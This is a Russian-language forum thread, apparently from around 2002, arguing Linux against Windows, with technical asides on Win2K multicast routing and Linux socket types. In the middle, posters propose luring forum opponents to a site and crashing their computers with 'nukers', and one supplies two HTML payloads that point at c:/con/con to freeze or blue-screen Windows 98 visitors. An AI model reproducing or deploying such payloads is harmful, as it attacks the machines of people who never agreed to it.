Мы над этим работаем. Однако как так получилось что виндузятники всполошились и от своих маинсвиперов оторвались?

А вот хрен их знает - НО НАМ УЖЕ ДОСТАЛО ЧЕГО_ТО ДОКАЗЫВАТЬ!!!!!!!!!! ПОШЛИ ВСЕ W****** НА***

Господа, доказывать надо делом, а не ором в форуме. Пусть себе орут, а вы тем временем набираетесь опыта и на очередные крики "а у вас этого нет" этак спокойненько говорите:

-- А зачем нам именно это, у нас, на наш взгляд, лучше. Вот, смотрите, делай раз, делай два. Вы заплатили за это туеву хучу денег (или вообще украли), у вас нет исходного кода, так что вы не уверены, что это не троян и т.п., а у нас это есть свободно. Да, конечно, некоторого наличия серого вещества в голове нужно, да и руки не только под мышь должны быть заточены, но смотрите, что надо, то работает.

Еще А.В. Суворов говорил: "Тяжело в учении -- легко в бою".

Так что будущее за нами, пользователями свободного программного обеспечения (не путать "свободное" с "бесплатным", это разные вещи)!!! Как тут не вспомнить народное творчество (сорри за мат, но без него нельзя): Нас ебут -- а мы крепчаем.

Удачи!

Crusader

Спасибо я теперь хоть успокоился, щась стану самим ХАРЕЙ Кришней, буду мудрецом наяву. Все через 10 сек. я полностью изменяюсь.....10...9...8...7...6...5...4...

Повышенная агрессивность виндузятников связана с сокращением ареала их обитания ИМХО.

на съедятттттт

Блин, заглянул я на их форум. Никто их там особенно не ест, хотя есть за что. Хотя бы за сказки и мифы народов мира про Windows. Особливо мне понравился комик, который бегал к файл-серверу Win2K с монитором, чтобы юзера завести (про службы терминала ему было неведомо), и у которого потом его вирусы пожрали (как? на файл-сервере ведь программы не запускают).

съедятттттт. За низкую квалификацию.

Блин, заглянул я на их форум. Сказки и мифы народов мира о Windows. Особливо мне понравился комик, который бегал к файл-серверу Win2K с монитором, чтобы юзера завести (видать про службы терминала ему было неведомо). Есс-но у нормальных людей возникает желание объяснить им хоть что-нибудь.

Про службы терминала мне неведомо, разбираться некогда, потому другая работа есть. Вири пожрали, как - непонятно. Программ там действительно не запускали, работал как роутер и маленький файлсервер, монитора/кнопок/мышы там за исключением особых случаев не было, как уже наверное сам догадался. Начал себя вести _особенно_ странно - закачали авп и запустили - нашёл тама вирей около 50 разновидностей, в кажном ехешнике штук 5-6 разом. Так что, родимый, для тебя сказка - для нас тут жестокая реальность. Толи ты сам, однако, виндовса ни разу ни видывал, толи слаще морковки не едал ничегошеньки?

>Про службы терминала мне неведомо, разбираться некогда, потому другая работа есть. Логично, "х... думать, трясти надо". Интересно, если б ты про SSH не знал, к Линуксу тоже бы с монитором бегал? Кстати, FYI в Win2K для удаленного управления с другого Win2K можно использовать практически все средства администрирования. >Вири пожрали, как - непонятно. Скорее всего через admin shares. Кто-то работал под админским аккаунтом на другом компьютере (как известно, это крайне не рекомендуется, ты же под root, надеюсь, по инету не лазишь) и сумел запустить все эти вирусы. Или системный диск был всем пошарен? >Толи ты сам, однако, виндовса ни разу ни видывал... Вообще-то я много чего видывал. И Win, и люникс... Заходи на форум софтерры, узнаешь.

>Интересно, если б ты про SSH не знал, к Линуксу тоже бы с монитором >бегал?

Так узнал же! Для этого доки и мауалы есть. А в винде нету :(. Только хелпы какие-то странные. Написано "потычь на иконку такую-то в папке пуск->настройка->панель управления, и лезь в такое-то меню на окошке, которое появится". Окошко появилось, а пункт меню таковой вем отделом часа полтора искали, так и не нашёл никто :(. Ну, не програмёр я и не админ, однако работу такую пришлось выполнять, деваться некуда было. И поэтому не надо, вот это вот, про ламерьё позорное речь вести, главное ведь результат, правильно? За неделю сервак и 3 точки наладил, до сих пор ничего не глючит, не переустанавливал и не менял кардинально, До этого про отличные от виндовс системы знал только что такие бывают, Линукс скачал только потому что в поисковик приволок страничку со ссылкой на него в ответ на запрос "multicasting router". До сих пор не знаю, как ЭТО на винде сделать, и не узнаю наверное никогда.

> Заходи на форум софтерры, узнаешь. а где это?

>Так узнал же! Для этого доки и мауалы есть. А в винде нету Как это? Только что провел эксперимент - на Win2K Server (Eng) выбрал в меню Start Help, переключился на Index и набрал Remote Administration (логично, да) и получилл ссылку и на Terminal Services и на Administration Tools.

>До сих пор не знаю, как ЭТО на винде сделать Если еще интересно, то активировать RRAS и установить протокол IGMP. НО нужен Win2K Server, Professional не пойдет. Впрочем, чисто под роутер IMO линукс - хороший выбор. У меня до сих пор один роутер под ним крутится.

Форум, который я имею в виду - "Windows, Linux и все-все-все" (www.softerra.ru/forums/os)

> переключился на Index и набрал Remote Administration

у меня трабла с отсутствием меню по другому поводу была, что-то с маршрутизацией, это гораздо важнее было. Подробности не помню - больше года прошло, но после того раза в хелпы старался не лезть.

> активировать RRAS и установить протокол IGMP

всё это было сделано, но 1) протокол IGMP не является протоколом мкаст. маршрутизации, это всево-навсепо internet group management protocol. В тех же хелпах написано "виндоза НЕ ПРЕДОСТАВЛЯЕТ НИ ОДНОГО СРЕДСТВА МУЛЬТИКАСИНГОВОЙ МАРШРУТИЗАЦИИ" и в другом месте "IGMP не работает при наличии более одного маршрутизатора в сети, можно сконфигурить сеть при использовании двух маршрутизаторов, но такая конфигурация не рекомендуется и не поддерживается" - дословно не помню но смысл именно такой, а у меня именно больше одного маршрутизатора, может быть 2-3 хопа запросто. Никакого упоминания об установке на виндозу какого-либо протокола мкаст. маршрутизации за ок. 2 недели ежедневного 8-часового шатания по инету найдено не было. 2) Одна из многих сетевых карт при попытке запустить на ней IGMP генерит еррор, в логе только её IP адрес и ничего более. Якшание с поставщиками/изготовителями/etc ничего не дало, все друг на друга кивают. В микрософт только не обращались, бо винда с3.1415926зженая, у начальства наверное нашлись бы бабки на её приобретение, но оно (начальство) тоже считает что их можно потратить с большей пользой, тем более микрософт всё равно наверняка стал бы кивать на производителей. 3) мне не удалось заставить виндовс в режиме мультикастинга принимать более 300-500 кб/с с помощью самодельной тестовой произведённой специально для этих целей програмкой. Для наших целей, как наверное и для любых практических целей это очень мало. Линукс показывает ок. 3-5 мег/с. Мультикастинг на виндовсе невозможен ИМХО, ни в виде роутера, ни в виде клиента. Если кто-нибудь предоставит тестовую прогу, которая на виндозе в условиях, приближенных к реальным (случайная задержка между пакетами, размер пакетов 0-64к) покажет существенно лучшие результаты, буду очень благодарен, там всего-то несколько строк нужно, но я, как уже говорил, не программер, может и накосячил где :(. Хотя результат, показанный Линуксом, вроде свидетельствует в мою пользу. 4) Крайняя нестабильность в2к,периодически требовалась перезагрузка по разным причинам, в основном из-за внезапно возникающих страшных тормозов, а я должен ГАРАНТИРОВАННО обеспечить сеанс мкаст-связи длительностью 2 часа. Хотя эти проблемы относились в основном к клиентам.

Как бороться с виндозниками...

Значит делаешь сайтик, куда зовешь зайти своих противников с форума. На сайтике две странички, на первой грозное предупреждение, что дальше могут идти только те, кто хочет проверить надежнось и защищенность своего компа и кнопочка "хочу, за последствия никого винить не буду!", на второй - что угодно, типа "Спасиба, маладец!"

Если клиент пошел на вторую страничку - определяем его ip и нюкаем какой-нибудь свежей нюкалкой. И собираем статистику, скольким крантец, а сколько живы остались (до следующего раза, так как нюкалки разумеется обновляем).

Статистику потом публикуем (на третьей страничке ;))) Немного злобно, но весело!

Хорошая идея, спасибо. Как-нибудь попробую, когда свободное время будет.

где брать нюки, которые работают под линух а бомбят винду?

to anonymous (*) (2002-10-16 14:30:20.704)
набери в Гоогле exploit for Linux source code
to speer (*) (2002-10-11 14:33:42.154)
Хех, а если ip-динамическое тот нужно это делать сразу ! :)

Блин жаль пропатчили глобальнейший прикол баг /con/con , а то бывало повесишь скриптик на сайте(о чём и говорится), и видят виндонавозные жуки синие экраны, ибо входид виндовоз в вечный цикл..:) p.s. Ну было же время...

Кстати можешь попытать счастье, у кого 98 тому точно труба :)

1) <html><head></head><img src="c:/con/con"></html> Закинь эту дрянь на страничку а лучше зделай её index'овой ;)

2)А это вообще смерть по жизни: <a href="http://winlames.ru" onclick="this.style.behavior='url(#default#homepage)'; this.setHomePage('file://c:/con/con');">Make a Home Page;</a>

Это всё очень старо, но есть ещё 98 патриоты ;) можно рискнуть..:)

Чего вы друг на друга взьелись?! Анекдот один бородатый тут в тему, как раз тот случай - "Не стреляйте в тапёра - он играет, как может!" По мне, так все одинаковые, что виндузоиды, что пингвинарии. И по качеству обе-две оси не далеко стоят. Одна, потому что ширпотреб, вторая отчасти по той же причине, а отчасти потому что когда писал её студент, воспользовался не очень достойным образцом (да, я о minix), и много ненужной отсебятины налабал - до сих пор аукается! Уникс всегда славился лёгкой переносимостью кода, а попробуйте что либо нативное с пингвина на достойный юникс перенести - пол-ядра за собой потянет! (я до сих пор не могу понять, на кой хрен надо было собственный SOCK_TYPE изобретать?!) [ У нас народ уже шутит, глядя на фото БГ и ЛТ - ну прямо братья близнецы ;) - но это к делу не относится, хотя шутка и не совсем беспочвенная: GPL_ONLY symbols - чьей идеологией попахивает, угадай с трёх раз? ] Про администрирование не буду, а вот с точки зрения кодера Linux - малоприглядная система, писать в ней переносимые вещи тяжело, т.к. более-менее приемлемо работает только пингвино-нативная среда, а действительно переносимый API пока ещё(надеюсь временно) реализован криво и убого. Есть и более специфичные системы, но они взамен обладают другими хорошими качествами (высокая устойчивость, высокий уровень безопасности, поддержка выч.реального времени и пр.) а Linux? ЗЫЖ Надо иногда и в своём глазу брёвна замечать.

Брёвна-то в глазах у всех есть, тут речь не про то вовсе. Я не програмёр, хоть иногда прогу-другую приходится изготавливать так по мелочи, насчёт переносимости - не совсем понятно, как аппаратно-независимая прога будет за собой пол-ядра тащить? Если сокеты одинаковые, иксовые хидеры одинаковые, теперя вот и posix threads есть? Для аппаратно-зависимой проще программные интерфейсы для разных систем разные делать. Кстати, что за SOCK_TYPE? Юзаю SOCK_STREAM - для прередачи данных, удобная надёжная вещь, SOCK_DGRAM для аудио/видео мультикастинга т.к. SOCK_STREAM эти штуки по понятной причине не поддерживает, ничего такого не замечал вроде... на виндах имхо нисколько не проще переносимую прогу сделать. GPL_ONLY - просто предупреждение, ни на что не влияет афак. А вот повседневная работа - это другое дело. Когда хез сколько времени с виндой сношаешся, а потом в ответственный момент она как взглюкнёт прилюдно, и ходишь потом оплёваный... Нуевонах имхо. Перетащили что смогли на линух - работает без всякого постороннего вмешательства давно уже. Кое-что осталось перетащить ибо глючит немилосердно - в наследство от прошлых сотрудников осталось. При них глючило-не совладали, после них глючит-ничего не сделаешь. И вот, когда избалованное дитё под влиянием лишь одному ему слышимых голосов изрекает: "а винда всёодно лучше! работай опять на винде!", вот, мои глаза наливаются кровью, волосья по всему телу становятся дыбом, и впадаю в ярость берсерка. Хотя может быть это и не правильно :(

Забавно :) про WIN я молчу - его и так хорошо освещает множество людей    ))
>> Кстати, что за SOCK_TYPE?
1. см. /usr/include/bits/socket.h - enum __socket_type
   есть там SOCK_PACKET.
2. сравни с аналогичным в другой системе
   (для BSD это /usr/include/sys/socket.h ) - правильно, SOCK_PACKET там
   нет, но остался SOCK_SEQPACKET, предназначенный для тех же целей,     
   но... переносимый. А когда тебе понадобится поделка для, скажем,
   учёта IP трафика в реальном времени, ты после изучения док и 
   недолгих экспериментов, станешь пользовать SOCK_PACKET (в Linux only)
   ибо всё остальное... читай в предыдущем моём ^
3. Вдруг перед тобой встаёт задача переноса всех твоих очень важных для
   конторы поделок по учёту трафика на, допустим, OpenBSD и HP-UX.
   Заметь, первая - от Berkeley, вторая - AT&T. Пингвин же является
   SystemV с примесью BSD, однако просто перекомпилить код ни там,
   ни там не удастся по причинам вышеназванным.
Вот тут у меня глаза наливаются кровью и мне снится Торвальдс, болтающийся на одной верёвке с Гейтсом.

вот что я обнаружил в мануале: SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each read system call.

SOCK_PACKET Obsolete and should not be used in new programs; see packet(7).

вот что я обнаружил в sys/socket.h: #include <bits/socket.h>

вот что я обнаружил в bits/socket.h: SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based, datagrams of fixed maximum length. */ #define SOCK_SEQPACKET SOCK_SEQPACKET SOCK_PACKET = 10 /* Linux specific way of getting packets at the dev level. For writing rarp and other similar things on the user level. */ #define SOCK_PACKET SOCK_PACKET

рассмотрев обнаруженное, не нашел причин, которые препятсвовали бы использованию SOCK_SEQPACKET в приложениях, что обеспечивает совместимость приложений на уровне исходных текстов. Может быть, я ошибаюсь из-за моего невежества в _данном_ вопросе. Однако, видиш ли, факты:

1) Идеальных вещей не бывает по определению, согласен? В том числе и операционных систем. В _любой_ системе есть недостатки, и от их количества зависит, нужно ли бороться с недостатками либо с системой. 2) Имеется круг задач, с которыми линух справляется без причинения ряда неприятностей участникам процесса. 3) Нет ни одной задачи, с которой виндовс мог бы справиться без -//- 4) Нет ни одной задачи, выполнять которую было бы приятней и продуктивней на винде, чем на линух. 5) Я не видел ни одного форума, в которором виндовс-юзеров пытались бы в грубой форме убедить в необходимости перехода на другую ОС.

суммируя всё вышесказанное, считаю поведение виндузятников всё равно неприемлемым, тем более что линух распростарняется по цене носителя совершенно свободно

Про недостатки согласен.
На счёт их кол-ва, как фактора, влияющего на выбор врага (недостатки или система) - остроумно:)
Так оно и есть - если недостаток положен в основу системы, или большую её часть, ИМХО бороться нужно с системой/частью, не так ли? :))
PS:
Извини, по поводу SOCK_PACKET я недостаточно подробно обьяснил, а ситуация следующая:
Строго говоря SOCK_PACKET и SOCK_SEQPACKET НЕ взаимозаменяемы ибо предназначены для разных целей, но!..
В некоторых "свободно распространяемых" шедеврах SOCK_PACKET используется там,
где можно было бы обойтись SOCK_SEQPACKET - отсюда и головная боль.
Но это частный случай, и можно возразить: "не пользуй кривой софт" - а где другой?
А такие перлы сплошь и рядом. Я не сетую на то, что в большой куче шлака с трудом находишь редкие жемчужины.
Даже на то, что эту кучу, почти не сортируя, выкладывают на зеркала, вносят в дистрибутивы, в т.ч. делают частью ядра.
Самое неприятное - эти вирши дают дурной пример начинающим кодерам, наглядно показывают, "как надо писать".
Просто хочу обратить внимание на то, что голая ОСь никому не нужна без достойного окружения.
А оно то (надеюсь пока) не очень достойное. Никто не следит, не ставит "оценку", не предаёт "авторитетно и официально" анафеме кривые поделки.
Может пора?

>> Никто не следит, не ставит "оценку", не предаёт "авторитетно и >> официально" анафеме кривые поделки.

Как это никто 8() ИМХО, жись рассудит. Под Виндовс я лично существенно больше кривого софта лицезрел вот. И где он теперь? А насчёт всяких SOCK_, если подробно: я, ещё раз повторю, не программёр вовсе, только пару прог на сокетах делал по большей части для личных нужд, однако мыслю, буквально следующее:

1. Для _любой_ отдельно взятой системы можно изготовить прогу, которая работала бы _только_ на этой системе.

2. Ситуацию п.1 саму по себе нельзя рассматривать как несовместимость этой системы с некоторой группой систем.

3. Систему А можно назвать несовместимой с группой систем Б (в некоторой области С, например socket api) тогда и только тогда, если некая прога (использующая в идеале все возможности области С, ___именно возможности, а не реализации___) компилируется и работает на всех системах, принадлежащих группе Б, но не компилится и не работает на системе А.

Пока в случае с Линух и SOCK_PACKET я не вижу ситуации п.3. Если такое есть, надеюсь скоро исправят. Если нету - кривые поделия растущих из жопы рук таки выйдут из оборота со временем. Линух мне нравится, и в работе жутко помогает, и я просто надеюсь что он к таковым поделиям не относится (кроме отдельных элементов, может быть, ибо идеальных вещей всё равно не бывает и не будет никогда).

PS см. Лукреций Кар например, о сотворении мира - "сперва были ноги, спины и хвосты отдельно, затем всё как попало соединилось и плохо соединённое передохло нах" - или что-то подобное, слово в слово не помню, давно читал, но смысл именно такой.